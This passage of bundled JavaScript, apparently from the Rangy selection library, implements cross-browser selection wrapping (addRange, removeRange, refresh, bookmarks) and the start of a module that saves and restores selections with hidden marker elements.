(originalSelectionRangeCount > 1);\n                    var originalSelectionRanges = [];\n                    var originalSelectionBackward = winSelectionIsBackward(sel); \n                    for (var i = 0; i < originalSelectionRangeCount; ++i) {\n                        originalSelectionRanges[i] = sel.getRangeAt(i);\n                    }\n                    \n                    // Create some test elements\n                    var body = getBody(document);\n                    var testEl = body.appendChild( document.createElement(\"div\") );\n                    testEl.contentEditable = \"false\";\n                    var textNode = testEl.appendChild( document.createTextNode(\"\\u00a0\\u00a0\\u00a0\") );\n\n                    // Test whether the native selection will allow a collapsed selection within a non-editable element\n                    var r1 = document.createRange();\n\n                    r1.setStart(textNode, 1);\n                    r1.collapse(true);\n                    sel.addRange(r1);\n                    collapsedNonEditableSelectionsSupported = (sel.rangeCount == 1);\n                    sel.removeAllRanges();\n\n                    // Test whether the native selection is capable of supporting multiple ranges.\n                    if (!selectionHasMultipleRanges) {\n                        // Doing the original feature test here in Chrome 36 (and presumably later versions) prints a\n                        // console error of \"Discontiguous selection is not supported.\" that cannot be suppressed. There's\n                        // nothing we can do about this while retaining the feature test so we have to resort to a browser\n                        // sniff. I'm not happy about it. See\n                        // https://code.google.com/p/chromium/issues/detail?id=399791\n                        var chromeMatch = window.navigator.appVersion.match(/Chrome\\/(.*?) /);\n                        if (chromeMatch && parseInt(chromeMatch[1]) >= 36) {\n                            selectionSupportsMultipleRanges = false;\n                        } else {\n                            var r2 = r1.cloneRange();\n                            r1.setStart(textNode, 0);\n                            r2.setEnd(textNode, 3);\n                            r2.setStart(textNode, 2);\n                            sel.addRange(r1);\n                            sel.addRange(r2);\n                            selectionSupportsMultipleRanges = (sel.rangeCount == 2);\n                        }\n                    }\n\n                    // Clean up\n                    body.removeChild(testEl);\n                    sel.removeAllRanges();\n\n                    for (i = 0; i < originalSelectionRangeCount; ++i) {\n                        if (i == 0 && originalSelectionBackward) {\n                            if (addRangeBackwardToNative) {\n                                addRangeBackwardToNative(sel, originalSelectionRanges[i]);\n                            } else {\n                                api.warn(\"Rangy initialization: original selection was backwards but selection has been restored forwards because the browser does not support Selection.extend\");\n                                sel.addRange(originalSelectionRanges[i]);\n                            }\n                        } else {\n                            sel.addRange(originalSelectionRanges[i]);\n                        }\n                    }\n                }\n            })();\n        }\n\n        features.selectionSupportsMultipleRanges = selectionSupportsMultipleRanges;\n        features.collapsedNonEditableSelectionsSupported = collapsedNonEditableSelectionsSupported;\n\n        // ControlRanges\n        var implementsControlRange = false, testControlRange;\n\n        if (body && isHostMethod(body, \"createControlRange\")) {\n            testControlRange = body.createControlRange();\n            if (util.areHostProperties(testControlRange, [\"item\", \"add\"])) {\n                implementsControlRange = true;\n            }\n        }\n        features.implementsControlRange = implementsControlRange;\n\n        // Selection collapsedness\n        if (selectionHasAnchorAndFocus) {\n            selectionIsCollapsed = function(sel) {\n                return sel.anchorNode === sel.focusNode && sel.anchorOffset === sel.focusOffset;\n            };\n        } else {\n            selectionIsCollapsed = function(sel) {\n                return sel.rangeCount ? sel.getRangeAt(sel.rangeCount - 1).collapsed : false;\n            };\n        }\n\n        function updateAnchorAndFocusFromRange(sel, range, backward) {\n            var anchorPrefix = backward ? \"end\" : \"start\", focusPrefix = backward ? \"start\" : \"end\";\n            sel.anchorNode = range[anchorPrefix + \"Container\"];\n            sel.anchorOffset = range[anchorPrefix + \"Offset\"];\n            sel.focusNode = range[focusPrefix + \"Container\"];\n            sel.focusOffset = range[focusPrefix + \"Offset\"];\n        }\n\n        function updateAnchorAndFocusFromNativeSelection(sel) {\n            var nativeSel = sel.nativeSelection;\n            sel.anchorNode = nativeSel.anchorNode;\n            sel.anchorOffset = nativeSel.anchorOffset;\n            sel.focusNode = nativeSel.focusNode;\n            sel.focusOffset = nativeSel.focusOffset;\n        }\n\n        function updateEmptySelection(sel) {\n            sel.anchorNode = sel.focusNode = null;\n            sel.anchorOffset = sel.focusOffset = 0;\n            sel.rangeCount = 0;\n            sel.isCollapsed = true;\n            sel._ranges.length = 0;\n        }\n\n        function getNativeRange(range) {\n            var nativeRange;\n            if (range instanceof DomRange) {\n                nativeRange = api.createNativeRange(range.getDocument());\n                nativeRange.setEnd(range.endContainer, range.endOffset);\n                nativeRange.setStart(range.startContainer, range.startOffset);\n            } else if (range instanceof WrappedRange) {\n                nativeRange = range.nativeRange;\n            } else if (features.implementsDomRange && (range instanceof dom.getWindow(range.startContainer).Range)) {\n                nativeRange = range;\n            }\n            return nativeRange;\n        }\n\n        function rangeContainsSingleElement(rangeNodes) {\n            if (!rangeNodes.length || rangeNodes[0].nodeType != 1) {\n                return false;\n            }\n            for (var i = 1, len = rangeNodes.length; i < len; ++i) {\n                if (!dom.isAncestorOf(rangeNodes[0], rangeNodes[i])) {\n                    return false;\n                }\n            }\n            return true;\n        }\n\n        function getSingleElementFromRange(range) {\n            var nodes = range.getNodes();\n            if (!rangeContainsSingleElement(nodes)) {\n                throw module.createError(\"getSingleElementFromRange: range \" + range.inspect() + \" did not consist of a single element\");\n            }\n            return nodes[0];\n        }\n\n        // Simple, quick test which only needs to distinguish between a TextRange and a ControlRange\n        function isTextRange(range) {\n            return !!range && typeof range.text != \"undefined\";\n        }\n\n        function updateFromTextRange(sel, range) {\n            // Create a Range from the selected TextRange\n            var wrappedRange = new WrappedRange(range);\n            sel._ranges = [wrappedRange];\n\n            updateAnchorAndFocusFromRange(sel, wrappedRange, false);\n            sel.rangeCount = 1;\n            sel.isCollapsed = wrappedRange.collapsed;\n        }\n\n        function updateControlSelection(sel) {\n            // Update the wrapped selection based on what's now in the native selection\n            sel._ranges.length = 0;\n            if (sel.docSelection.type == \"None\") {\n                updateEmptySelection(sel);\n            } else {\n                var controlRange = sel.docSelection.createRange();\n                if (isTextRange(controlRange)) {\n                    // This case (where the selection type is \"Control\" and calling createRange() on the selection returns\n                    // a TextRange) can happen in IE 9. It happens, for example, when all elements in the selected\n                    // ControlRange have been removed from the ControlRange and removed from the document.\n                    updateFromTextRange(sel, controlRange);\n                } else {\n                    sel.rangeCount = controlRange.length;\n                    var range, doc = getDocument(controlRange.item(0));\n                    for (var i = 0; i < sel.rangeCount; ++i) {\n                        range = api.createRange(doc);\n                        range.selectNode(controlRange.item(i));\n                        sel._ranges.push(range);\n                    }\n                    sel.isCollapsed = sel.rangeCount == 1 && sel._ranges[0].collapsed;\n                    updateAnchorAndFocusFromRange(sel, sel._ranges[sel.rangeCount - 1], false);\n                }\n            }\n        }\n\n        function addRangeToControlSelection(sel, range) {\n            var controlRange = sel.docSelection.createRange();\n            var rangeElement = getSingleElementFromRange(range);\n\n            // Create a new ControlRange containing all the elements in the selected ControlRange plus the element\n            // contained by the supplied range\n            var doc = getDocument(controlRange.item(0));\n            var newControlRange = getBody(doc).createControlRange();\n            for (var i = 0, len = controlRange.length; i < len; ++i) {\n                newControlRange.add(controlRange.item(i));\n            }\n            try {\n                newControlRange.add(rangeElement);\n            } catch (ex) {\n                throw module.createError(\"addRange(): Element within the specified Range could not be added to control selection (does it have layout?)\");\n            }\n            newControlRange.select();\n\n            // Update the wrapped selection based on what's now in the native selection\n            updateControlSelection(sel);\n        }\n\n        var getSelectionRangeAt;\n\n        if (isHostMethod(testSelection, \"getRangeAt\")) {\n            // try/catch is present because getRangeAt() must have thrown an error in some browser and some situation.\n            // Unfortunately, I didn't write a comment about the specifics and am now scared to take it out. Let that be a\n            // lesson to us all, especially me.\n            getSelectionRangeAt = function(sel, index) {\n                try {\n                    return sel.getRangeAt(index);\n                } catch (ex) {\n                    return null;\n                }\n            };\n        } else if (selectionHasAnchorAndFocus) {\n            getSelectionRangeAt = function(sel) {\n                var doc = getDocument(sel.anchorNode);\n                var range = api.createRange(doc);\n                range.setStartAndEnd(sel.anchorNode, sel.anchorOffset, sel.focusNode, sel.focusOffset);\n\n                // Handle the case when the selection was selected backwards (from the end to the start in the\n                // document)\n                if (range.collapsed !== this.isCollapsed) {\n                    range.setStartAndEnd(sel.focusNode, sel.focusOffset, sel.anchorNode, sel.anchorOffset);\n                }\n\n                return range;\n            };\n        }\n\n        function WrappedSelection(selection, docSelection, win) {\n            this.nativeSelection = selection;\n            this.docSelection = docSelection;\n            this._ranges = [];\n            this.win = win;\n            this.refresh();\n        }\n\n        WrappedSelection.prototype = api.selectionPrototype;\n\n        function deleteProperties(sel) {\n            sel.win = sel.anchorNode = sel.focusNode = sel._ranges = null;\n            sel.rangeCount = sel.anchorOffset = sel.focusOffset = 0;\n            sel.detached = true;\n        }\n\n        var cachedRangySelections = [];\n\n        function actOnCachedSelection(win, action) {\n            var i = cachedRangySelections.length, cached, sel;\n            while (i--) {\n                cached = cachedRangySelections[i];\n                sel = cached.selection;\n                if (action == \"deleteAll\") {\n                    deleteProperties(sel);\n                } else if (cached.win == win) {\n                    if (action == \"delete\") {\n                        cachedRangySelections.splice(i, 1);\n                        return true;\n                    } else {\n                        return sel;\n                    }\n                }\n            }\n            if (action == \"deleteAll\") {\n                cachedRangySelections.length = 0;\n            }\n            return null;\n        }\n\n        var getSelection = function(win) {\n            // Check if the parameter is a Rangy Selection object\n            if (win && win instanceof WrappedSelection) {\n                win.refresh();\n                return win;\n            }\n\n            win = getWindow(win, \"getNativeSelection\");\n\n            var sel = actOnCachedSelection(win);\n            var nativeSel = getNativeSelection(win), docSel = implementsDocSelection ? getDocSelection(win) : null;\n            if (sel) {\n                sel.nativeSelection = nativeSel;\n                sel.docSelection = docSel;\n                sel.refresh();\n            } else {\n                sel = new WrappedSelection(nativeSel, docSel, win);\n                cachedRangySelections.push( { win: win, selection: sel } );\n            }\n            return sel;\n        };\n\n        api.getSelection = getSelection;\n\n        api.getIframeSelection = function(iframeEl) {\n            module.deprecationNotice(\"getIframeSelection()\", \"getSelection(iframeEl)\");\n            return api.getSelection(dom.getIframeWindow(iframeEl));\n        };\n\n        var selProto = WrappedSelection.prototype;\n\n        function createControlSelection(sel, ranges) {\n            // Ensure that the selection becomes of type \"Control\"\n            var doc = getDocument(ranges[0].startContainer);\n            var controlRange = getBody(doc).createControlRange();\n            for (var i = 0, el, len = ranges.length; i < len; ++i) {\n                el = getSingleElementFromRange(ranges[i]);\n                try {\n                    controlRange.add(el);\n                } catch (ex) {\n                    throw module.createError(\"setRanges(): Element within one of the specified Ranges could not be added to control selection (does it have layout?)\");\n                }\n            }\n            controlRange.select();\n\n            // Update the wrapped selection based on what's now in the native selection\n            updateControlSelection(sel);\n        }\n\n        // Selecting a range\n        if (!useDocumentSelection && selectionHasAnchorAndFocus && util.areHostMethods(testSelection, [\"removeAllRanges\", \"addRange\"])) {\n            selProto.removeAllRanges = function() {\n                this.nativeSelection.removeAllRanges();\n                updateEmptySelection(this);\n            };\n\n            var addRangeBackward = function(sel, range) {\n                addRangeBackwardToNative(sel.nativeSelection, range);\n                sel.refresh();\n            };\n\n            if (selectionHasRangeCount) {\n                selProto.addRange = function(range, direction) {\n                    if (implementsControlRange && implementsDocSelection && this.docSelection.type == CONTROL) {\n                        addRangeToControlSelection(this, range);\n                    } else {\n                        if (isDirectionBackward(direction) && selectionHasExtend) {\n                            addRangeBackward(this, range);\n                        } else {\n                            var previousRangeCount;\n                            if (selectionSupportsMultipleRanges) {\n                                previousRangeCount = this.rangeCount;\n                            } else {\n                                this.removeAllRanges();\n                                previousRangeCount = 0;\n                            }\n                            // Clone the native range so that changing the selected range does not affect the selection.\n                            // This is contrary to the spec but is the only way to achieve consistency between browsers. See\n                            // issue 80.\n                            this.nativeSelection.addRange(getNativeRange(range).cloneRange());\n\n                            // Check whether adding the range was successful\n                            this.rangeCount = this.nativeSelection.rangeCount;\n\n                            if (this.rangeCount == previousRangeCount + 1) {\n                                // The range was added successfully\n\n                                // Check whether the range that we added to the selection is reflected in the last range extracted from\n                                // the selection\n                                if (api.config.checkSelectionRanges) {\n                                    var nativeRange = getSelectionRangeAt(this.nativeSelection, this.rangeCount - 1);\n                                    if (nativeRange && !rangesEqual(nativeRange, range)) {\n                                        // Happens in WebKit with, for example, a selection placed at the start of a text node\n                                        range = new WrappedRange(nativeRange);\n                                    }\n                                }\n                                this._ranges[this.rangeCount - 1] = range;\n                                updateAnchorAndFocusFromRange(this, range, selectionIsBackward(this.nativeSelection));\n                                this.isCollapsed = selectionIsCollapsed(this);\n                            } else {\n                                // The range was not added successfully. The simplest thing is to refresh\n                                this.refresh();\n                            }\n                        }\n                    }\n                };\n            } else {\n                selProto.addRange = function(range, direction) {\n                    if (isDirectionBackward(direction) && selectionHasExtend) {\n                        addRangeBackward(this, range);\n                    } else {\n                        this.nativeSelection.addRange(getNativeRange(range));\n                        this.refresh();\n                    }\n                };\n            }\n\n            selProto.setRanges = function(ranges) {\n                if (implementsControlRange && implementsDocSelection && ranges.length > 1) {\n                    createControlSelection(this, ranges);\n                } else {\n                    this.removeAllRanges();\n                    for (var i = 0, len = ranges.length; i < len; ++i) {\n                        this.addRange(ranges[i]);\n                    }\n                }\n            };\n        } else if (isHostMethod(testSelection, \"empty\") && isHostMethod(testRange, \"select\") &&\n                   implementsControlRange && useDocumentSelection) {\n\n            selProto.removeAllRanges = function() {\n                // Added try/catch as fix for issue #21\n                try {\n                    this.docSelection.empty();\n\n                    // Check for empty() not working (issue #24)\n                    if (this.docSelection.type != \"None\") {\n                        // Work around failure to empty a control selection by instead selecting a TextRange and then\n                        // calling empty()\n                        var doc;\n                        if (this.anchorNode) {\n                            doc = getDocument(this.anchorNode);\n                        } else if (this.docSelection.type == CONTROL) {\n                            var controlRange = this.docSelection.createRange();\n                            if (controlRange.length) {\n                                doc = getDocument( controlRange.item(0) );\n                            }\n                        }\n                        if (doc) {\n                            var textRange = getBody(doc).createTextRange();\n                            textRange.select();\n                            this.docSelection.empty();\n                        }\n                    }\n                } catch(ex) {}\n                updateEmptySelection(this);\n            };\n\n            selProto.addRange = function(range) {\n                if (this.docSelection.type == CONTROL) {\n                    addRangeToControlSelection(this, range);\n                } else {\n                    api.WrappedTextRange.rangeToTextRange(range).select();\n                    this._ranges[0] = range;\n                    this.rangeCount = 1;\n                    this.isCollapsed = this._ranges[0].collapsed;\n                    updateAnchorAndFocusFromRange(this, range, false);\n                }\n            };\n\n            selProto.setRanges = function(ranges) {\n                this.removeAllRanges();\n                var rangeCount = ranges.length;\n                if (rangeCount > 1) {\n                    createControlSelection(this, ranges);\n                } else if (rangeCount) {\n                    this.addRange(ranges[0]);\n                }\n            };\n        } else {\n            module.fail(\"No means of selecting a Range or TextRange was found\");\n            return false;\n        }\n\n        selProto.getRangeAt = function(index) {\n            if (index < 0 || index >= this.rangeCount) {\n                throw new DOMException(\"INDEX_SIZE_ERR\");\n            } else {\n                // Clone the range to preserve selection-range independence. See issue 80.\n                return this._ranges[index].cloneRange();\n            }\n        };\n\n        var refreshSelection;\n\n        if (useDocumentSelection) {\n            refreshSelection = function(sel) {\n                var range;\n                if (api.isSelectionValid(sel.win)) {\n                    range = sel.docSelection.createRange();\n                } else {\n                    range = getBody(sel.win.document).createTextRange();\n                    range.collapse(true);\n                }\n\n                if (sel.docSelection.type == CONTROL) {\n                    updateControlSelection(sel);\n                } else if (isTextRange(range)) {\n                    updateFromTextRange(sel, range);\n                } else {\n                    updateEmptySelection(sel);\n                }\n            };\n        } else if (isHostMethod(testSelection, \"getRangeAt\") && typeof testSelection.rangeCount == NUMBER) {\n            refreshSelection = function(sel) {\n                if (implementsControlRange && implementsDocSelection && sel.docSelection.type == CONTROL) {\n                    updateControlSelection(sel);\n                } else {\n                    sel._ranges.length = sel.rangeCount = sel.nativeSelection.rangeCount;\n                    if (sel.rangeCount) {\n                        for (var i = 0, len = sel.rangeCount; i < len; ++i) {\n                            sel._ranges[i] = new api.WrappedRange(sel.nativeSelection.getRangeAt(i));\n                        }\n                        updateAnchorAndFocusFromRange(sel, sel._ranges[sel.rangeCount - 1], selectionIsBackward(sel.nativeSelection));\n                        sel.isCollapsed = selectionIsCollapsed(sel);\n                    } else {\n                        updateEmptySelection(sel);\n                    }\n                }\n            };\n        } else if (selectionHasAnchorAndFocus && typeof testSelection.isCollapsed == BOOLEAN && typeof testRange.collapsed == BOOLEAN && features.implementsDomRange) {\n            refreshSelection = function(sel) {\n                var range, nativeSel = sel.nativeSelection;\n                if (nativeSel.anchorNode) {\n                    range = getSelectionRangeAt(nativeSel, 0);\n                    sel._ranges = [range];\n                    sel.rangeCount = 1;\n                    updateAnchorAndFocusFromNativeSelection(sel);\n                    sel.isCollapsed = selectionIsCollapsed(sel);\n                } else {\n                    updateEmptySelection(sel);\n                }\n            };\n        } else {\n            module.fail(\"No means of obtaining a Range or TextRange from the user's selection was found\");\n            return false;\n        }\n\n        selProto.refresh = function(checkForChanges) {\n            var oldRanges = checkForChanges ? this._ranges.slice(0) : null;\n            var oldAnchorNode = this.anchorNode, oldAnchorOffset = this.anchorOffset;\n\n            refreshSelection(this);\n            if (checkForChanges) {\n                // Check the range count first\n                var i = oldRanges.length;\n                if (i != this._ranges.length) {\n                    return true;\n                }\n\n                // Now check the direction. Checking the anchor position is the same is enough since we're checking all the\n                // ranges after this\n                if (this.anchorNode != oldAnchorNode || this.anchorOffset != oldAnchorOffset) {\n                    return true;\n                }\n\n                // Finally, compare each range in turn\n                while (i--) {\n                    if (!rangesEqual(oldRanges[i], this._ranges[i])) {\n                        return true;\n                    }\n                }\n                return false;\n            }\n        };\n\n        // Removal of a single range\n        var removeRangeManually = function(sel, range) {\n            var ranges = sel.getAllRanges();\n            sel.removeAllRanges();\n            for (var i = 0, len = ranges.length; i < len; ++i) {\n                if (!rangesEqual(range, ranges[i])) {\n                    sel.addRange(ranges[i]);\n                }\n            }\n            if (!sel.rangeCount) {\n                updateEmptySelection(sel);\n            }\n        };\n\n        if (implementsControlRange && implementsDocSelection) {\n            selProto.removeRange = function(range) {\n                if (this.docSelection.type == CONTROL) {\n                    var controlRange = this.docSelection.createRange();\n                    var rangeElement = getSingleElementFromRange(range);\n\n                    // Create a new ControlRange containing all the elements in the selected ControlRange minus the\n                    // element contained by the supplied range\n                    var doc = getDocument(controlRange.item(0));\n                    var newControlRange = getBody(doc).createControlRange();\n                    var el, removed = false;\n                    for (var i = 0, len = controlRange.length; i < len; ++i) {\n                        el = controlRange.item(i);\n                        if (el !== rangeElement || removed) {\n                            newControlRange.add(controlRange.item(i));\n                        } else {\n                            removed = true;\n                        }\n                    }\n                    newControlRange.select();\n\n                    // Update the wrapped selection based on what's now in the native selection\n                    updateControlSelection(this);\n                } else {\n                    removeRangeManually(this, range);\n                }\n            };\n        } else {\n            selProto.removeRange = function(range) {\n                removeRangeManually(this, range);\n            };\n        }\n\n        // Detecting if a selection is backward\n        var selectionIsBackward;\n        if (!useDocumentSelection && selectionHasAnchorAndFocus && features.implementsDomRange) {\n            selectionIsBackward = winSelectionIsBackward;\n\n            selProto.isBackward = function() {\n                return selectionIsBackward(this);\n            };\n        } else {\n            selectionIsBackward = selProto.isBackward = function() {\n                return false;\n            };\n        }\n\n        // Create an alias for backwards compatibility. From 1.3, everything is \"backward\" rather than \"backwards\"\n        selProto.isBackwards = selProto.isBackward;\n\n        // Selection stringifier\n        // This is conformant to the old HTML5 selections draft spec but differs from WebKit and Mozilla's implementation.\n        // The current spec does not yet define this method.\n        selProto.toString = function() {\n            var rangeTexts = [];\n            for (var i = 0, len = this.rangeCount; i < len; ++i) {\n                rangeTexts[i] = \"\" + this._ranges[i];\n            }\n            return rangeTexts.join(\"\");\n        };\n\n        function assertNodeInSameDocument(sel, node) {\n            if (sel.win.document != getDocument(node)) {\n                throw new DOMException(\"WRONG_DOCUMENT_ERR\");\n            }\n        }\n\n        // No current browser conforms fully to the spec for this method, so Rangy's own method is always used\n        selProto.collapse = function(node, offset) {\n            assertNodeInSameDocument(this, node);\n            var range = api.createRange(node);\n            range.collapseToPoint(node, offset);\n            this.setSingleRange(range);\n            this.isCollapsed = true;\n        };\n\n        selProto.collapseToStart = function() {\n            if (this.rangeCount) {\n                var range = this._ranges[0];\n                this.collapse(range.startContainer, range.startOffset);\n            } else {\n                throw new DOMException(\"INVALID_STATE_ERR\");\n            }\n        };\n\n        selProto.collapseToEnd = function() {\n            if (this.rangeCount) {\n                var range = this._ranges[this.rangeCount - 1];\n                this.collapse(range.endContainer, range.endOffset);\n            } else {\n                throw new DOMException(\"INVALID_STATE_ERR\");\n            }\n        };\n\n        // The spec is very specific on how selectAllChildren should be implemented so the native implementation is\n        // never used by Rangy.\n        selProto.selectAllChildren = function(node) {\n            assertNodeInSameDocument(this, node);\n            var range = api.createRange(node);\n            range.selectNodeContents(node);\n            this.setSingleRange(range);\n        };\n\n        selProto.deleteFromDocument = function() {\n            // Sepcial behaviour required for IE's control selections\n            if (implementsControlRange && implementsDocSelection && this.docSelection.type == CONTROL) {\n                var controlRange = this.docSelection.createRange();\n                var element;\n                while (controlRange.length) {\n                    element = controlRange.item(0);\n                    controlRange.remove(element);\n                    element.parentNode.removeChild(element);\n                }\n                this.refresh();\n            } else if (this.rangeCount) {\n                var ranges = this.getAllRanges();\n                if (ranges.length) {\n                    this.removeAllRanges();\n                    for (var i = 0, len = ranges.length; i < len; ++i) {\n                        ranges[i].deleteContents();\n                    }\n                    // The spec says nothing about what the selection should contain after calling deleteContents on each\n                    // range. Firefox moves the selection to where the final selected range was, so we emulate that\n                    this.addRange(ranges[len - 1]);\n                }\n            }\n        };\n\n        // The following are non-standard extensions\n        selProto.eachRange = function(func, returnValue) {\n            for (var i = 0, len = this._ranges.length; i < len; ++i) {\n                if ( func( this.getRangeAt(i) ) ) {\n                    return returnValue;\n                }\n            }\n        };\n\n        selProto.getAllRanges = function() {\n            var ranges = [];\n            this.eachRange(function(range) {\n                ranges.push(range);\n            });\n            return ranges;\n        };\n\n        selProto.setSingleRange = function(range, direction) {\n            this.removeAllRanges();\n            this.addRange(range, direction);\n        };\n\n        selProto.callMethodOnEachRange = function(methodName, params) {\n            var results = [];\n            this.eachRange( function(range) {\n                results.push( range[methodName].apply(range, params) );\n            } );\n            return results;\n        };\n        \n        function createStartOrEndSetter(isStart) {\n            return function(node, offset) {\n                var range;\n                if (this.rangeCount) {\n                    range = this.getRangeAt(0);\n                    range[\"set\" + (isStart ? \"Start\" : \"End\")](node, offset);\n                } else {\n                    range = api.createRange(this.win.document);\n                    range.setStartAndEnd(node, offset);\n                }\n                this.setSingleRange(range, this.isBackward());\n            };\n        }\n\n        selProto.setStart = createStartOrEndSetter(true);\n        selProto.setEnd = createStartOrEndSetter(false);\n        \n        // Add select() method to Range prototype. Any existing selection will be removed.\n        api.rangePrototype.select = function(direction) {\n            getSelection( this.getDocument() ).setSingleRange(this, direction);\n        };\n\n        selProto.changeEachRange = function(func) {\n            var ranges = [];\n            var backward = this.isBackward();\n\n            this.eachRange(function(range) {\n                func(range);\n                ranges.push(range);\n            });\n\n            this.removeAllRanges();\n            if (backward && ranges.length == 1) {\n                this.addRange(ranges[0], \"backward\");\n            } else {\n                this.setRanges(ranges);\n            }\n        };\n\n        selProto.containsNode = function(node, allowPartial) {\n            return this.eachRange( function(range) {\n                return range.containsNode(node, allowPartial);\n            }, true ) || false;\n        };\n\n        selProto.getBookmark = function(containerNode) {\n            return {\n                backward: this.isBackward(),\n                rangeBookmarks: this.callMethodOnEachRange(\"getBookmark\", [containerNode])\n            };\n        };\n\n        selProto.moveToBookmark = function(bookmark) {\n            var selRanges = [];\n            for (var i = 0, rangeBookmark, range; rangeBookmark = bookmark.rangeBookmarks[i++]; ) {\n                range = api.createRange(this.win);\n                range.moveToBookmark(rangeBookmark);\n                selRanges.push(range);\n            }\n            if (bookmark.backward) {\n                this.setSingleRange(selRanges[0], \"backward\");\n            } else {\n                this.setRanges(selRanges);\n            }\n        };\n\n        selProto.toHtml = function() {\n            var rangeHtmls = [];\n            this.eachRange(function(range) {\n                rangeHtmls.push( DomRange.toHtml(range) );\n            });\n            return rangeHtmls.join(\"\");\n        };\n\n        if (features.implementsTextRange) {\n            selProto.getNativeTextRange = function() {\n                var sel, textRange;\n                if ( (sel = this.docSelection) ) {\n                    var range = sel.createRange();\n                    if (isTextRange(range)) {\n                        return range;\n                    } else {\n                        throw module.createError(\"getNativeTextRange: selection is a control selection\"); \n                    }\n                } else if (this.rangeCount > 0) {\n                    return api.WrappedTextRange.rangeToTextRange( this.getRangeAt(0) );\n                } else {\n                    throw module.createError(\"getNativeTextRange: selection contains no range\");\n                }\n            };\n        }\n\n        function inspect(sel) {\n            var rangeInspects = [];\n            var anchor = new DomPosition(sel.anchorNode, sel.anchorOffset);\n            var focus = new DomPosition(sel.focusNode, sel.focusOffset);\n            var name = (typeof sel.getName == \"function\") ? sel.getName() : \"Selection\";\n\n            if (typeof sel.rangeCount != \"undefined\") {\n                for (var i = 0, len = sel.rangeCount; i < len; ++i) {\n                    rangeInspects[i] = DomRange.inspect(sel.getRangeAt(i));\n                }\n            }\n            return \"[\" + name + \"(Ranges: \" + rangeInspects.join(\", \") +\n                    \")(anchor: \" + anchor.inspect() + \", focus: \" + focus.inspect() + \"]\";\n        }\n\n        selProto.getName = function() {\n            return \"WrappedSelection\";\n        };\n\n        selProto.inspect = function() {\n            return inspect(this);\n        };\n\n        selProto.detach = function() {\n            actOnCachedSelection(this.win, \"delete\");\n            deleteProperties(this);\n        };\n\n        WrappedSelection.detachAll = function() {\n            actOnCachedSelection(null, \"deleteAll\");\n        };\n\n        WrappedSelection.inspect = inspect;\n        WrappedSelection.isDirectionBackward = isDirectionBackward;\n\n        api.Selection = WrappedSelection;\n\n        api.selectionPrototype = selProto;\n\n        api.addShimListener(function(win) {\n            if (typeof win.getSelection == \"undefined\") {\n                win.getSelection = function() {\n                    return getSelection(win);\n                };\n            }\n            win = null;\n        });\n    });\n    \n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    return api;\n}, this);;/**\n * Selection save and restore module for Rangy.\n * Saves and restores user selections using marker invisible elements in the DOM.\n *\n * Part of Rangy, a cross-browser JavaScript range and selection library\n * http://code.google.com/p/rangy/\n *\n * Depends on Rangy core.\n *\n * Copyright 2014, Tim Down\n * Licensed under the MIT license.\n * Version: 1.3alpha.20140804\n * Build date: 4 August 2014\n */\n(function(factory, global) {\n    if (typeof define == \"function\" && define.amd) {\n        // AMD. Register as an anonymous module with a dependency on Rangy.\n        define([\"rangy\"], factory);\n        /*\n         } else if (typeof exports == \"object\") {\n         // Node/CommonJS style for Browserify\n         module.exports = factory;\n         */\n    } else {\n        // No AMD or CommonJS support so we use the rangy global variable\n        factory(global.rangy);\n    }\n})(function(rangy) {\n    rangy.createModule(\"SaveRestore\", [\"WrappedRange\"], function(api, module) {\n        var dom = api.dom;\n\n        var markerTextChar = \"\\ufeff\";\n\n        function gEBI(id, doc) {\n            return (doc || document).getElementById(id);\n        }\n\n        function insertRangeBoundaryMarker(range, atStart) {\n            var markerId = \"selectionBoundary_\" + (+new Date()) + \"_\" + (\"\" + Math.random()).slice(2);\n            var markerEl;\n            var doc = dom.getDocument(range.startContainer);\n\n            // Clone the Range and collapse to the appropriate boundary point\n            var boundaryRange = range.cloneRange();\n            boundaryRange.collapse(atStart);\n\n            // Create the marker element containing a single invisible character using DOM methods and insert it\n            markerEl = doc.createElement(\"span\");\n            markerEl.id = markerId;\n            markerEl.style.lineHeight = \"0\";\n            markerEl.style.display = \"none\";\n            markerEl.className = \"rangySelectionBoundary\";\n            markerEl.appendChild(doc.createTextNode(markerTextChar));\n\n            boundaryRange.insertNode(markerEl);\n            return markerEl;\n        }\n\n        function setRangeBoundary(doc, range, markerId, atStart) {\n            var markerEl = gEBI(markerId, doc);\n            if (markerEl) {\n                range[atStart ? \"setStartBefore\" : \"setEndBefore\"](markerEl);\n                markerEl.parentNode.removeChild(markerEl);\n            } else {\n                module.warn(\"Marker element has been removed. Cannot restore selection.\");\n            }\n        }\n\n        function compareRanges(r1, r2) {\n            return r2.compareBoundaryPoints(r1.START_TO_START, r1);\n        }\n\n        function saveRange(range, backward) {\n            var startEl, endEl, doc = api.DomRange.getRangeDocument(range), text = range.toString();\n\n            if (range.collapsed) {\n                endEl = insertRangeBoundaryMarker(range, false);\n                return {\n                    document: doc,\n                    markerId: endEl.id,\n                    collapsed: true\n                };\n            } else {\n                endEl = insertRangeBoundaryMarker(range, false);\n                startEl = insertRangeBoundaryMarker(range, true);\n\n                return {\n                    document: doc,\n                    startMarkerId: startEl.id,\n                    endMarkerId: endEl.id,\n                    collapsed: false,\n                    backward: backward,\n                    toString: function() {\n                        return \"original text: '\" + text + \"', new text: '\" + range.toString() + \"'\";\n                    }\n                };\n            }\n        }\n\n        function restoreRange(rangeInfo, normalize) {\n            var doc = rangeInfo.document;\n            if (typeof normalize == \"undefined\") {\n                normalize = true;\n            }\n            var range = api.createRange(doc);\n            if (rangeInfo.collapsed) {\n                var markerEl = gEBI(rangeInfo.markerId, doc);\n                if (markerEl) {\n                    markerEl.style.display = \"inline\";\n                    var previousNode = markerEl.previousSibling;\n\n                    // Workaround for issue 17\n                    if (previousNode && previousNode.nodeType == 3) {\n                        markerEl.parentNode.removeChild(markerEl);\n                        range.collapseToPoint(previousNode, previousNode.length);\n                    } else {\n                        range.collapseBefore(markerEl);\n                        markerEl.parentNode.removeChild(markerEl);\n                    }\n                } else {\n                    module.warn(\"Marker element has been removed. Cannot restore selection.\");\n                }\n            } else {\n                setRangeBoundary(doc, range, rangeInfo.startMarkerId, true);\n                setRangeBoundary(doc, range, rangeInfo.endMarkerId, false);\n            }\n\n            if (normalize) {\n                range.normalizeBoundaries();\n            }\n\n            return range;\n        }\n\n        function saveRanges(ranges, backward) {\n            var rangeInfos = [], range, doc;\n\n            // Order the ranges by position within the DOM, latest first, cloning the array to leave the original untouched\n            ranges = ranges.slice(0);\n            ranges.sort(compareRanges);\n\n            for (var i = 0, len = ranges.length; i < len; ++i) {\n                rangeInfos[i] = 